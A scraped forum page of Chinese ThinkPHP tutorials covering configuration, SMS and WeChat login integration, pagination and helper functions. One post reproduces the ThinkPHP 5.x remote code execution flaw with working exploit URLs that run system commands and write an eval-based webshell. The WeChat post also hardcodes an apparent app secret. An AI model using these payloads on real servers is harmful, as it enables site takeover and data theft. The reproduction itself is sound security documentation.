百搜论坛欢迎您的加入!
adimg adimg
 
昨日:篇  今日:篇   总帖:篇   会员:
今日:0    总帖:115
admin
1078
方法一、在application下面的配置文件config.php中把调试模式改为true方法二、在应用的ROOT_PATH目录下面定义.env文件,并且定义APP_DEBUG配置参数用于替代入口文件的常量定义,这样便于在部署环境中设置环境变量来开启和关闭调试模式。(注意:定义了.env文件后,配置文件中定义app_debug参数无效。)12// 设置开启调试模式app_debug =  true调试优势:1. 开启日志记录,任何错误信息和调试信息都会详细记录,便于调试;2. 会详细记录整个执行过程;3. 模板修改可以即时生效;4. 记录SQL日志,方便分析SQL;5. 通过Trace功能更好的调试和发现错误;6. 发生异常的时候会显示详细的异常信息;推荐教程:《TP5》以上就是thinkphp5如何开启调试模式的详细内容
0 0 1403天前
admin
1089
ThinkPHP是一个国内免费的、开源的、面向对象的轻量级PHP开发框架,它入门简单、上手容易、应用广泛,从博客、企业站到中小型电子商城全都可以轻松驾驭,也正因为如此,ThinkPHP得到了诸多互联网以及程序员的青睐。ThinkPHP从ThinkPHP3.2、ThinkPHP5到现在的ThinkPHP6,这一路走来功能架构得到了提升,那么下载方式也发生了变化,之前我们从ThinkPHP官网下载一个压缩包到本地即可,ThinkPHP6开始只支持composer下载,连git也取消了……在我最近接触的几个在校生和刚毕业的程序员中,就一大批人被ThinkPHP下载难住了,连下载都没弄好,更别提后面的开发了……一:PHP环境搭建1.环境安装工欲善其事必先利其器,这里我建议使用phpstudy集成环境,安装了这个Mysql、Apache、Nginx就全有了,更重要的还自带composer,是不是很爽?咋下载phpstudy?我们去phpstudy官网直接下载,安装的时候注意选择www目录,比如选择了E:\www,那么后面我们项目的站点文件都是在www,接着就是一路下一步下一步,超级简单。2. 建立站点phpstudy安装后,我们就可以在电脑桌面的小图标来打开它,我们先安装下Mysql、Apache、Nginx、phpMyadmin这些常见的开发软件。咋安装?不写代码不下载,只需要点一个安装的按钮即可,是不是很方便?安装后我们打开首页启动服务,红色的代表没有启动,蓝色箭头代表已经启动在运行。我们新建站点比如www.a.com,注意选择php>7.1,建议选择php7.3。勾选同步hosts,这样我们可以通过www.a.com来访问本地项目了。二:ThinkPHP6框架下载composer下载ThinkPHP61. 我们找到站点www.a.com,按照下图,点击“管理”->“composer”就可以启动composer。2. 输入cd..返回上一目录,之后复制ThinkPHP6手册下载composer create-project topthink/think www.a.com。3. 然后呢?然后你喝口水框架就下载完了。4. 打开浏览器输入www.a.com/public,是不是看到了thinkphp6久违的欢迎页面?好了,以上就是ThinkPHP6框架下载的内容了,小伙伴下载好后可以改成一个属于自己的系统,这样以后就不用再下载了,只需要更新了。备注:更新命令composer update topthink/framework以上就是新手入门:手把手从PHP环境到ThinkPHP6框架下载的详细内容
0 0 1403天前
admin
1439
如今,短信验证码已成为网站、APP的基础必备应用,应用场景十分丰富,随着移动互联网的发展会越来越多。作为一名码农,对第三方短信接口也是必须掌握的。本文php中文网将介绍使用工厂模式怎么实现ThinkPHP6.0接入阿里云短信。一、环境要求PHP版本 >= 7.1.0开发环境必须安装有Composer已开通阿里云短信服务,并且已获取AccessKey,创建模板和签名最重要的,阿里云账户余额一定要有钱。这里我就不演示开通短信服务和创建签名模板了,小伙伴们可以查看官方文档:https://help.aliyun.com/document_detail/108072.html?spm=a2c4g.11186623.6.565.1b4825903BoqGV二、使用Composer安装Thinkphp6.0如果您是第一次安装,请在命令行中切换到您的web目录执行下面的命令1composer create-project topthink/think sms本教程将安装在C盘www目录下三、使用Composer安装 Alibaba Cloud SDK for PHP进到刚刚创建的sms项目下执行下面的命令1composer require alibabacloud/sdk四、使用编辑器打开项目 ,并在config文件夹下创建sms.php配置文件来管理阿里短信配置信息123456789101112131415161718192021<?php return [    //阿里云短信API接口地址    'host'              => 'dysmsapi.aliyuncs.com',     //AccessKey ID    'access_key_id'     => '您的AccessKey ID',     //Access Key Secret    'access_key_secret' => '您的Access Key Secret',     //地区ID    'region_id'         => 'cn-hangzhou',     //模板CODE    'template_code'     => '您的模板CODE',     //签名名称    'sign_name'         => '您的短信签名名称',];五、顺便在config文件夹下打开cache.php添加Redis缓存配置,后面发送短信验证码会用到123456789101112131415161718192021222324252627282930313233343536373839<?php // +----------------------------------------------------------------------// | 缓存设置// +---------------------------------------------------------------------- return [    // 默认缓存驱动    'default' => env('cache.driver', 'redis'),     // 缓存连接方式配置    'stores'  => [        'file' => [            // 驱动方式            'type'       => 'File',            // 缓存保存目录            'path'       => '',            // 缓存前缀            'prefix'     => '',            // 缓存有效期 0表示永久缓存            'expire'     => 0,            // 缓存标签前缀            'tag_prefix' => 'tag:',            // 序列化机制 例如 ['serialize', 'unserialize']            'serialize'  => [],        ],        // Redis缓存        'redis' =>  [            //服务器地址            'host'      =>  '127.0.0.1',            //redis端口            'port'      =>  6379,            //驱动方式            'type'      =>  'redis',            //缓存前缀            'prefix'    => 'sms_code_',        ]    ],];六、在app目录下创建common/lib/sms/Sms.php接口类,用来约束发送短信验证码的方法123456789101112131415<?php namespace app\common\lib\sms; //定义实现发送短信验证码的接口类,用来约束发送验证码的方法interface Sms{    /**     * @desc 发送短信验证码的方法     * @param string $phone 手机号     * @param int $code     验证码     * @return mixed     */    public static function sendCode(string $phone, int $code);}七、在common/lib/sms目录下创建AliSms类来实现Sms接口的smsSend()12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152<?php namespace app\common\lib\sms; use AlibabaCloud\Client\AlibabaCloud;use AlibabaCloud\Client\Exception\ClientException;use AlibabaCloud\Client\Exception\ServerException; class AliSms implements Sms{     /**     * @desc 阿里云发送短信验证码     * @param string $phone 手机号     * @param int $code 验证码     * @return mixed|void     * @throws ClientException     */    public static function sendCode(string $phone, int $code)    {        //判断手机号和验证码是否为空        if (empty($phone) || empty($code)){            return false;        }         AlibabaCloud::accessKeyClient(config('sms.access_key_id'), config('sms.access_key_secret'))->regionId(config('sms.region_id'))->asDefaultClient();         try {            $result = AlibabaCloud::rpc()                ->product('Dysmsapi')                // ->scheme('https') // https | http                ->version('2017-05-25')                ->action('SendSms')                ->method('POST')                ->host(config('sms.host'))                ->options([                    'query' => [                        'RegionId' =>config('sms.region_id'),                        'SignName' => config('sms.sign_name'),                        'PhoneNumbers'  =>  $phone,                        'TemplateCode'  =>  config('sms.template_code'),                        'TemplateParam' =>  json_encode(['code'  =>  $code]),                    ],                ])->request();        } catch (ClientException $e) {            return false;        } catch (ServerException $e) {            return false;        }        return true;    }}八、在common\lib目录下创建生成短信验证码的类 Code.php1234567891011121314151617181920<?php namespace app\common\lib; class Code{    /**     * @desc 生成4位或6位短信验证码,默认为4位     * @param int $length 验证码长度     * @return int     */    public static function getCode(int $length = 4)    {        $code = rand(1000,9999);        if ($length == 6){            $code = rand(100000,999999);        }        return $code;    }}九、在common目录下创建service/Sms.php123456789101112131415161718192021222324252627282930<?php namespace app\common\Service; use app\common\lib\Code; class Sms{    /**     * @param string $phone 手机号     * @param int $lengthCode 验证码长度     * @param string $type 短信厂家,默认选用AliSms     * @return mixed     */    public static function sendCode(string $phone,int $lengthCode,string $type='AliSms')    {        //生成短信验证码        $code = Code::getCode(4);         //使用工厂模式 调用Lib层发送短信        $class = "app\common\lib\sms\\".$type;        $sms = $class::sendCode($phone,$code);         if ($sms){            //发送成功,把短信验证码存储Redis缓存中,并给失效时间            cache($phone,$code,300);        }        return $sms;    }}十、在common目录下创建validate/SmsValidate验证器123456789101112131415161718192021222324252627<?php namespace app\common\validate; use think\Validate; class SmsValidate extends Validate{    //验证规则    protected $rule = [        'phone'     =>  'require|mobile',        'code'      =>  'require|number'    ];     //错误信息    protected $message = [        'phone.require'     =>  '请输入手机号',        'phone.mobile'      =>  '手机号格式错误',        'code.require'      =>  '短信验证码不能为空',        'code.number'       =>  '短信验证码必须为纯数字'    ];     //验证场景    protected $scene = [        'sendCode'  =>  ['phone']    ];}十一、在controller目录下创建Sms.php1234567891011121314151617181920212223242526272829303132333435<?php namespace app\controller; use app\common\validate\SmsValidate; class Sms{    /**     * @desc 发送短信验证码     * @return \think\response\Json     */    public function code()    {        if (request()->isPost()){            //获取手机号            $data =  [                'phone' =>  request()->param('phone','','trim'),            ];             //参数校验            $validate = new SmsValidate();            if (!$validate->scene('sendCode')->check($data)){                return json(['code'=>0,'msg'=>$validate->getError()]);            }            //发送短信验证码            if (\app\common\Service\Sms::sendCode($data['phone'],6,'AliSms')){                return json(['code'=>1,'msg'=>'发送成功,请注意查收。']);            }else{                return json(['code'=>0,'msg'=>'发送失败,请稍后重试!']);            }         }    }}十二、使用PostMan测试发送短信验证码不输入手机号或输入错误手机号会给相应的提示。输入正确的手机号,提示发送短信验证成功这时我们来看看收到的验证码和缓存中的验证码是否一致到这里我们的发送验证码已经完成十三、这时我们需要校验验证码是否正确,在app\controller目录下创建Login.php1234567891011121314151617181920212223242526272829303132333435<?php namespace app\controller; use app\common\validate\SmsValidate; class Login{    public function index()    {        //接收参数        $data = [            'phone' =>  request()->param('phone','','trim'),            'code'  =>  request()->param('code','','trim'),        ];        //参数校验        $validate = new SmsValidate();        if (!$validate->check($data)){            return json(['code'=>0,'msg'=>$validate->getError()]);        }         //从Redis中获取验证码        $redisCode = cache($data['phone']);         //判断验证码是否正确        if (empty($redisCode)){            return json(['code'=>0,'msg'=>'验证码已过期,请重新发送!']);        }        if ($redisCode != $data['code']){            return json(['code'=>0,'msg'=>'验证码输入错误,请重新输入!']);        }         return '验证成功';    }}十四、使用PostMan校验验证码是否正确输入错误的验证码,会给出响应的提示输入正确的验证码,提示验证成功看到这里我相信很多小伙伴的验证码都已发送成功了。不知道小伙伴们有没有发现文中有两处参数校验的代码相识度很高,在后续的thinkphp技术文章中我会对这个问题进行优化,感兴趣的小伙伴请关注。以上就是使用工厂模式实现Thinkphp6.0接入阿里云短信的详细内容
0 0 1403天前
admin
1113
在ThinkPHP6中获取参数有多种方法,也有很多使用小技巧,很多新手经常知道一种方法,后来在看别人代码的时候又发现第二种、第三种,一头雾水了……下面咱们就缕一缕ThinkPHP6中获取参数有多种方法。我们先假设有以下url:A:http://www.a.com/index/index/hello/id/1.htmlB:http://www.a.com/index/index/hello?id=1C:http://www.a.com/index/index/hello?name=12aaD:http://www.a.com/index/index/hello?name=aa123dd第一种:依赖注入dump($this->request->param());//所有参数,返回数组123array:1 [  "name" => "1" ]dump($this->request->param('id'));//具体参数,返回字符串dump($this->request->get('id'));//只对B类url生效dump($this->request->param('name','aaa'));//如果没有name参数传递,设置默认值,返回字符串aaadump($this->request->param('name','1','intval'));对接收的参数转整型,A类url返回默认值1,C类URL返回12,D类url返回0第二种:使用助手函数var_dump(input('id'));//A类url和B类url都返回字符串1。C类url和D类url没有传递则返回NULL第三种:静态获取使用之前先引入use think\facade\Request;检测变量是否设置:Request::has('id','get');A类url和B类url都返回返回ture,C类url和D类url返回falseRequest::has('name','post');检测是否有post过来的name,返回ture或者falseRequest::param('name');// 获取当前请求的name变量,返回字符串,不传递输出nullRequest::param();// 获取当前请求的所有变量(经过过滤)Request::param(false);// 获取当前请求未经过滤的所有变量Request::param(['name', 'email']);// 获取部分变量最后:除此之外,在一些情况下,我们还需要判定是什么请求,比如:123if($request->isPost()){    //判断是否是post请求}类似的情形还有$request->isGet()、$request->isAjax()。以上就是ThinkPHP6中获取参数的各种方式,可能还不是很全,但是掌握这些基本能满足大部分情形下的参数获取啦……以上就是ThinkPHP6中获取参数的3种常用方法【总结】的详细内容
0 0 1403天前
admin
1163
初始url样式:http://localhost/tp5/public/index.php/index1、将 index.php 和 .htacess 文件移出到和Public 文件平级目录;2、修改 index.php123456789namespace think;  // 加载基础文件require __DIR__ . '/thinkphp/base.php';  // 支持事先使用静态方法设置Request对象和Config对象  // 执行应用并响应Container::get('app')->run()->send();3、修改 .htaccess 文件12345678<IfModule mod_rewrite.c>  Options +FollowSymlinks -Multiviews  RewriteEngine On    RewriteCond %{REQUEST_FILENAME} !-d  RewriteCond %{REQUEST_FILENAME} !-f  RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]</IfModule>最终url样式:http://localhost/tp5/index推荐教程:《TP5》以上就是thinkphp中隐藏入口文件的方法的详细内容
0 0 1403天前
admin
974
前段时间刚接触thinkphp的时候,第一次使用就出现了数据库表名大小写的问题。thinkphp默认是将所有大写改小写,并在中间加一个_符号。后来自己通过修改源代码,能够正常运行了,但是时间太久忘记自己是怎么改的。这里只说解决方法,没有具体实现步骤。出错代码:123456789101112<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){           $result=M('Praise');        $a=$result->select();        var_dump($a);        die;        $this->display();    }}报错是这样的1146:Table ‘MovierDC.praise’ doesn’t exist [ SQL语句 ] : SHOW COLUMNS FROM praise在网上找到一个说法,修改配置项1'DB_PARAMS' => array(\PDO::ATTR_CASE => \PDO::CASE_NATURAL),后来知道,都是一些人随便复制粘贴回答别人问题搞错了。这是一个配置表中字段不区分大小写的。我查不到关于配置表名的配置项。所以我直接从源代码入手(重点看报错的地方),主要是两个函数,一个是将字母全部转换成小写字母的函数,一个是拆分重组的函数。将转换成小写的函数去掉,拆分重组的函数也去掉。最后能用了。推荐教程:《TP5》以上就是thinkphp无法识别数据表名大小写问题解决的详细内容
0 0 1403天前
admin
1029
在近几年的互联网网站中,使用微信登录的场景可是越来越多。据统计2020年,全球微信高达11亿,也确实如此,微信这个好用的社交工具,可以说小到一个小学生大到你的七大姑八大姨,很多人可能没有QQ,但他一定有微信。所以微信登录是程序员必备的一项工作技能。微信扫码登录对接ThinkPHP6,话不多说,直接上车。一、准备资料:1、访问 https://open.weixin.qq.com/,注册账户。2、开发者认证:企业。3、创建一个网站应用:网站域名必须备案(可使用二级域名),获得相应的AppID和AppSecret,申请微信登录且通过审核。二、接入微信登录步骤:首先看下微信官网给出的步骤说明:https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html1. 第三方发起微信授权登录请求,微信用户允许授权第三方应用后,微信会拉起应用或重定向到第三方网站,并且带上授权临时票据code参数;2. 通过code参数加上AppID和AppSecret等,通过API换取access_token;3. 通过access_token进行接口调用,获取用户基本数据资源或帮助用户实现基本操作。三、接入微信登录实操环节:1、放好微信登录图标,并添加链接。比如链接到www.a,com/index/user/weixindenglu。下面我们看下weixindenglu方法代码。123456public function weixindenglu(){   $appid='wx868f988d79a4f2bb';   $redirect_uri=urldecode('http://www.dongpaiweb.cn/index/index/weixin.html');   $url='https://open.weixin.qq.com/connect/qrconnect?appid='.$appid.'&redirect_uri='.$redirect_uri.'&response_type=code&scope=snsapi_login&state=STATE#wechat_redirect';        header("location:".$url);}这个时候我们点击微信小图标就会出现扫码的界面。拿出手机赶紧微信扫码。(注意:$redirect_uri是我们的回调地址,意思是用户微信扫码后的处理地址)。2、获得用户的code。微信扫码后就跳转到了上面定义的回调地址weixin方法。我们看下weixin方法代码:123public function weixin(){    $code=input('get.code');}code获取很简单,我们看下打印效果:3、获得Access Token 和openid,我们在weixin()方法中继续添加代码:123456789101112public function weixin(){        $code=input('get.code');        $appid='wx868f988d79a4f25b';        $appsecret='82b426f2882b6a1398b8312cc1de037b';        $url='https://api.weixin.qq.com/sns/oauth2/access_token?appid='.$appid.'&secret='.$appsecret.'&code='.$code.'&grant_type=authorization_code';                 //json对象变成数组        $res=json_decode(file_get_contents($url),true);        $access_token=$res['access_token'];        $openid=$res['openid'];     }这样我们就获取到了access_token和openid,我们看下打印效果:5、获取用户全部信息,我们在weixin()方法中继续添加代码:123456789101112131415public function weixin(){        $code=input('get.code');        $appid='wx868f988d79a4f25b';        $appsecret='82b426f2882b6a1398b8312cc1de037b';        $url='https://api.weixin.qq.com/sns/oauth2/access_token?appid='.$appid.'&secret='.$appsecret.'&code='.$code.'&grant_type=authorization_code';                 //json对象变成数组        $res=json_decode(file_get_contents($url),true);        $access_token=$res['access_token'];        $openid=$res['openid'];         $urlyonghu='https://api.weixin.qq.com/sns/userinfo?access_token='.$access_token.'&openid='.$openid;        $user=json_decode(file_get_contents($urlyonghu),true);        print_r($user);    }这样我们就获取了用户的昵称、地址、头像等信息,看下打印效果:在我们获取用户微信信息后,我们就可以整理数据入库了。如果是用户第一次登录,我们可以设置绑定手机号的界面,绑定手机号后即算是注册成功。如果我们检测到已经绑定手机号,即代表登录成功跳转到成功界面。以上就是ThinkPHP6对接微信扫码登录的操作步骤。加薪升职,赶紧get此技能!以上就是【干货】ThinkPHP6对接微信扫码登录的详细内容
0 0 1403天前
admin
1166
在ThinkPHP6中,实现分页不难,实现搜索也不难,但是带搜索条件的搜索却难倒很多人。同样的情况下,我们把tp5的代码搬过来,发现并不好使,那么ThinkPHP6带搜索条件的分页应该如何解决呢?我们看下具体情景,我搜索了一个关键字,并且选择了分类进行文章的搜索筛选。一、查找问题首先我们先看下带搜索条件的第一页:然后我们再看下第二页:仔细的小伙伴会发现,在第二页、第三页的时候URL中没有带搜索条件。二、如何解决:问题关键已经找到了,那么如何解决呢?我们先去官网手册找一找:在手册中,有个query 的项是负责url额外参数传递的,那这样就好办了。直接看代码:12345678910111213141516171819202122$where=[];//筛选条件数组     if(input('cate_id')){        $where[] = [                     ['a.cate_id', '=', $cate_id],                 ];     }      if(input('searchkey')){        $where[] = [                     ['title', 'like', '%'.$searchkey.'%'],                 ];     }     $archivesData=Db::name('archives')->alias('a')->            field('a.id,a.title,a.listorder,b.cate_name,a.time')->            join('category b','a.cate_id=b.id')->            where($where)->            order('a.listorder asc')->//小到大            order('a.id DESC')->//大-》小            paginate([              'list_rows'=> 3,//每页数量              'query' => request()->param(),              ]);这样我们就把”ThinkPHP6带搜索条件的分页“这个问题完美解决了,其实遇到问题不要怕,我们先仔细看看手册,说不定就能解决我们遇到的难题。【相关推荐】1. 【干货】ThinkPHP6对接微信扫码登录2. 使用工厂模式实现Thinkphp6.0接入阿里云短信以上就是ThinkPHP6带搜索条件的分页解决方案的详细内容
0 0 1403天前
admin
1158
ThinkPHP U方法U 方法是 ThinkPHP 内置的一个快捷方法,可以根据系统 URL 模式配置动态的生成智能的 URL 地址。由于 ThinkPHP 支持各种不同的 URL 模式,另外还有项目分组模式,因此当部署环境发生变化时,有时候可能会改变 URL 模式,而 U 方法正是解决不同环境配置情况下的 URL 统一问题。除了动态生成 URL 以自适应系统配置外,U 方法还有一个好处是可以自动加上伪静态后缀。U 方法语法U 方法的定义规则如下:1('[分组/模块/操作]?参数' [,'参数','伪静态后缀','是否跳转','显示域名'])方括号内为可选参数,如果不指明分组、模块以及操作的话,就默认为当前分组、当前模块与当前操作。U方法实例U 方法作为 ThinkPHP 的系统函数,可以直接用于操作方法中,也可用于模板中(见后面文字)。假设当前为 Index 模块的 index 操作,生成当前模块的 list 操作 URL:1U('list?cat_id=1&status=1')生成的 URL 为相对链接:http://www.5idev.com/index.php/Index/list/cat_id/1/status/1同时 U 方法还支持下面两种定义格式,上面的例子与下面的定义格式是等效的:12U'list',array('cate_id'=>1,'status'=>1))U'list','cate_id=1&status=1')模板中使用 U 方法U 方法不仅能在操作方法中动态生成 URL 地址,其实更常用的是在模板中生成超链接地址:1<a href="{:U('list?cat_id=1&status=1')}">超链接字符</a>生成 URL 后实际的 html 代码为:12// Pathinfo 模式:<a href="http://www.5idev.com/lindex.php/blog/list/cat_id/1/status/1">超链接字符</a>U 方法属于 ThinkPHP 系统函数,遵循在模板中使用系统函数的通用方法,即配合 {: } 使用。U 方法中使用变量使用于模板中的 U 方法,如果要使用变量(通常如此),需要用 . 连接符:1<a href="{:U('blog/list?cat_id='.$vo['cat_id'].'&status=1')}">超链接字符</a>各种 URL 模式下的 U 方法结果对比U 方法根据各种 URL 模式而自适应的生成不同的 URL 格式,如上面例子在各模式下生成的 URL 对比如下:普通兼容模式:http://www.5idev.com/index.php?m=Index&a=list&cat_id=1&status=1Pathinfo 模式:http://www.5idev.com/index.php/Index/list/cat_id/1/status/1Rewrite 模式:http://www.5idev.com/Index/list/cat_id/1/status/1Rewrite 模式,伪静态后缀为 .html:http://www.5idev.com/Index/list/cat_id/1/status/1.htmlRewrite 模式,使用 - 分隔符与 .html 后缀:http://www.5idev.com/Index-list-cat_id-1-status-1.html常见 U 方法使用例子123456// 当前模块 list 操作U('list?cat_id=1&status=1')// 其他模块操作U('Blog/read?id=1')        // 生成Blog模块的read操作,并且id为1的URL地址// 其他分组U('Admin/User/view?uid=1')    // 生成Admin分组的User模块的view操作的URL地址推荐教程:《TP5》以上就是ThinkPHP使用U方法自动生成URL超链接的详细内容
0 0 1403天前
admin
1008
漏洞概况ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。漏洞危害攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。影响版本5.x < 5.1.31, <= 5.0.23复现环境thinkphp5.1 phpstudy集成环境(php5.6n+apache+mysql)复现过程1、如图所示首先搭建好环境2、利用system函数远程命令执行:http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami3、通过phpinfo函数写出phpinfo()的信息:http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=14、写入shell:http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php或http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>推荐教程:《TP5》以上就是thinkphp远程执行命令漏洞的详细内容
0 0 1403天前
admin
1090
事件1. 事件和中间件有一点相似,只不过事件更加的精准定位更细腻的业务场景;2. 事件可定义:事件类、事件监听类、事件订阅类;3. 我们先创建一个测试事件的类:TestEvent.php,手动创建一个测试类;12345678910111213public function __construct(){//注册监听器Event::listen('TestListen', function ($param) {echo '我是监听器,我被触发了!'.$param;});}public function info(){echo '登录前准备!';Event::trigger('TestListen', 'ok'); //触发监听器event('TestListen'); //助手函数触发}4. 我们也可以使用监听类来设计监听器,使用命令行创建;1php think make:listener TestListen123456public function info(){echo '登录前准备!';Event::listen('TestListen', TestListen::class); //这句可以定义到配置文件Event::trigger('TestListen');}5. 在 app/event.php 中,listen 是配置监听类的,配置方式如下:123'listen' => ['TestListen' => [\app\listener\TestListen::class]],6. 而监听类被触发会自动执行 handle()方法,实现监听功能;1234public function handle($event){echo '我是监听类!'.$event;}7. 系统还内置了系统触发的事件,只要满足条件就会自动触发;事件描述参数AppInit应用初始化标签位无HttpRun应用开始标签位无HttpEnd应用结束标签位当前响应对象实例LogWrite日志write方法标签位当前写入的日志信息RouteLoaded路由加载完成无8. 事件监听类,可以同时监听多个监听类,只要绑定到一个标识符即可;12345'TestListen' => [\app\listener\TestListen::class,\app\listener\TestOne::class,\app\listener\TestTwo::class]9. 对于需要多个监听,监听类不够灵活,而且类会创建很多,可以使用订阅类;10. 订阅类就是将监听事件作为内部的方法用 on+方法名来实现;12345678910php think make:subscribe UserSubclass UserSub{public function onUserLogin(){echo '处理登录后的监听!';}public function onUserLogout(){echo '处理退出后的监听!';}}11. 然后,我们直接去 app/event.php 注册一下;123'subscribe' => ['UserSub' => \app\subscribe\UserSub::class,],12. 然后,两个方法分别监听两个事件方法,直接调用方法名即可;12345678public function login(){echo '登录成功!';Event::trigger('UserLogin');}public function logout(){echo '退出成功!';Event::trigger('UserLogout');}13. 对于事件类,很少有场景需要使用它,毕竟系统提供的各种精确方案较多;1php think make:event UserEvent12345678class UserEvent{public function __construct(){echo '我是事件类!';}}Event::trigger(new UserEvent());多应用模式1. 由于多应用模式属于扩展,我们需要额外安装;1composer require topthink/think-multi-app2. 安装后,创建 index 和 admin 两个应用目录文件夹;3. 只要将 controller 和 model 移入即可,修改相应的命名空间;4. 将 view 也增加 index 和 admin 两个应用目录文件夹,移入相应文件夹;5. 默认的应用为 index,在 app.php 修改即可;12// 默认应用'default_app' => 'index',6. 我们可以做应用映射,比如将 admin 目录映射为 think,admin 废弃;1234// 应用映射(自动多应用模式有效)'app_map' => ['think' => 'admin'],7. 我们也可以做域名绑定,比如,后台用域名绑定,直接访问;12345// 域名绑定(自动多应用模式有效)'domain_bind' => ['news.abc.com' => 'admin','*' => 'index'],8. 路由修改:需要在应用目录单独建立路由,内部编码不需要更改;推荐教程:《ThinkPHP教程》以上就是ThinkPHP6 事件与多应用的详细内容
0 0 1403天前
admin
1020
正如你所见到的一样,I方法是ThinkPHP众多单字母函数中的新成员,其命名来自于英文Input(输入),主要用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:1I('变量类型.变量名',['默认值'],['过滤方法'])变量类型是指请求方式或者输入类型,包括:注意:变量类型不区分大小写。变量名则严格区分大小写。默认值和过滤方法均属于可选参数。用法我们以GET变量类型为例,说明下I方法的使用:12echo I('get.id'); // 相当于 $_GET['id']echo I('get.name'); // 相当于 $_GET['name']支持默认值:12echo I('get.id',0); // 如果不存在$_GET['id'] 则返回0echo I('get.name',''); // 如果不存在$_GET['name'] 则返回空字符串采用方法过滤:1echo I('get.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串支持直接获取整个变量类型,例如:1I('get.'); // 获取整个$_GET 数组用同样的方式,我们可以获取post或者其他输入类型的变量,例如:1234I('post.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_POST['name'] 进行过滤,如果不存在则返回空字符串I('session.user_id',0); // 获取$_SESSION['user_id'] 如果不存在则默认为0I('cookie.'); // 获取整个 $_COOKIE 数组I('server.REQUEST_METHOD'); // 获取 $_SERVER['REQUEST_METHOD']param变量类型是框架特有的支持自动判断当前请求类型的变量获取方式,例如:1echo I('param.id');如果当前请求类型是GET,那么等效于 $_GET['id'],如果当前请求类型是POST或者PUT,那么相当于获取 $_POST['id'] 或者 PUT参数id。并且param类型变量还可以用数字索引的方式获取URL参数(必须是PATHINFO模式参数有效,无论是GET还是POST方式都有效),例如:当前访问URL地址是1http://serverName/index.php/New/2013/06/01那么我们可以通过123echo I('param.1'); // 输出2013echo I('param.2'); // 输出06echo I('param.3'); // 输出01事实上,param变量类型的写法可以简化为:12I('id'); // 等同于 I('param.id')I('name'); // 等同于 I('param.name')变量过滤使用I方法的时候 变量其实经过了两道过滤,首先是全局的过滤,全局过滤是通过配置VAR_FILTERS参数,这里一定要注意,3.1版本之后,VAR_FILTERS参数的过滤机制已经更改为采用array_walk_recursive方法递归过滤了,主要对过滤方法的要求是必须引用返回,所以这里设置htmlspecialchars是无效的,你可以自定义一个方法,例如:123function filter_default(&$value){    $value = htmlspecialchars($value); }然后配置:1'VAR_FILTERS'=>'filter_default'如果需要进行多次过滤,可以用:1'VAR_FILTERS'=>'filter_default,filter_exp'filter_exp方法是框架内置的安全过滤方法,用于防止利用模型的EXP功能进行注入攻击。因为VAR_FILTERS参数设置的是全局过滤机制,而且采用的是递归过滤,对效率有所影响,所以,我们更建议直接对获取变量过滤的方式,除了在I方法的第三个参数设置过滤方法外,还可以采用配置DEFAULT_FILTER参数的方式设置过滤,事实上,该参数的默认设置是:1'DEFAULT_FILTER'        => 'htmlspecialchars'也就说,I方法的所有获取变量都会进行htmlspecialchars过滤,那么:1I('get.name'); // 等同于 htmlspecialchars($_GET['name'])同样,该参数也可以支持多个过滤,例如:1'DEFAULT_FILTER'        => 'strip_tags,htmlspecialchars'1I('get.name'); // 等同于 htmlspecialchars(strip_tags($_GET['name']))如果我们在使用I方法的时候 指定了过滤方法,那么就会忽略DEFAULT_FILTER的设置,例如:1echo I('get.name','','strip_tags'); // 等同于 strip_tags($_GET['name'])I方法的第三个参数如果传入函数名,则表示调用该函数对变量进行过滤并返回(在变量是数组的情况下自动使用array_map进行过滤处理),否则会调用PHP内置的filter_var方法进行过滤处理,例如:1I('post.email','',FILTER_VALIDATE_EMAIL);表示 会对$_POST['email'] 进行 格式验证,如果不符合要求的话,返回空字符串。或者可以用下面的字符标识方式:1I('post.email','','email');可以支持的过滤名称必须是filter_list方法中的有效值(不同的服务器环境可能有所不同),可能支持的包括:intbooleanfloatvalidate_regexpvalidate_urlvalidate_emailvalidate_ipstringstrippedencodedspecial_charsunsafe_rawemailurlnumber_intnumber_floatmagic_quotescallback在有些特殊的情况下,我们不希望进行任何过滤,即使DEFAULT_FILTER已经有所设置,可以使用:1I('get.name','',NULL);一旦过滤参数设置为NULL,即表示不再进行任何的过滤。推荐教程:《TP5》以上就是thinkphp I方法介绍的详细内容
0 0 1403天前
admin
1075
